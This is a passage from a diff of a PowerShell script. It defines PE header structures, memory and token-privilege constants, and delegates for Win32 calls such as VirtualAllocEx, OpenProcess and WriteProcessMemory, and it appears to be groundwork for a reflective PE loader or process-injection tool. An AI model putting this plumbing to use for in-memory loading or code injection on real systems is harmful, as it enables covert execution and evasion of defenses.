$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) - $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null - $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null - $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES - - #Struct TOKEN_PRIVILEGES - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) - $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null - $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES - - return $Win32Types - } - - Function Get-Win32Constants - { - $Win32Constants = New-Object System.Object - - $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 - $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 - $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 - $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 - $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 - - return $Win32Constants - } - - Function Get-Win32Functions - { - $Win32Functions = New-Object System.Object - - $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc - $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) - $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) - $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc - - $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx - $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) - $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) - $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx - - $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy - $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) - $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy - - $memsetAddr = Get-ProcAddress msvcrt.dll memset - $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) - $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset - - $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA - $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) - $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary - - $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress - $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) - $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress - - $GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress #This is still GetProcAddress, but instead of PowerShell converting the string to a pointer, you must do it yourself - $GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) - $GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr - - $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree - $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) - $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) - $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree - - $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx - $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) - $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) - $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx - - $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect - $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) - $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) - $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect - - $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA - $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) - $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) - $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle - - $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary - $FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool]) - $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary - - $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess - $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) - $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess - - $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject - $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) - $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject - - $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory + ) + + ################################### + ########## Win32 Stuff ########## + ################################### + Function Get-Win32Types + { + $Win32Types = New-Object System.Object + + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + + ############ ENUM ############ + #Enum MachineType + $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null + $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null + $MachineType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType + + #Enum MagicType + $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null + $MagicType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType + + #Enum SubSystemType + $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null + $SubSystemType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType + + #Enum DllCharacteristicsType + $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null + $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null + $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null + $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null + $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null + $DllCharacteristicsType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType + + ########### STRUCT ########### + #Struct IMAGE_DATA_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) + ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null + $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY + + #Struct IMAGE_FILE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null + $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER + + #Struct IMAGE_OPTIONAL_HEADER64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null + $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 + + #Struct IMAGE_OPTIONAL_HEADER32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 + + #Struct IMAGE_NT_HEADERS64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null + $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 + + #Struct IMAGE_NT_HEADERS32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null + $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 + + #Struct IMAGE_DOS_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) + $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cp', [UInt16], 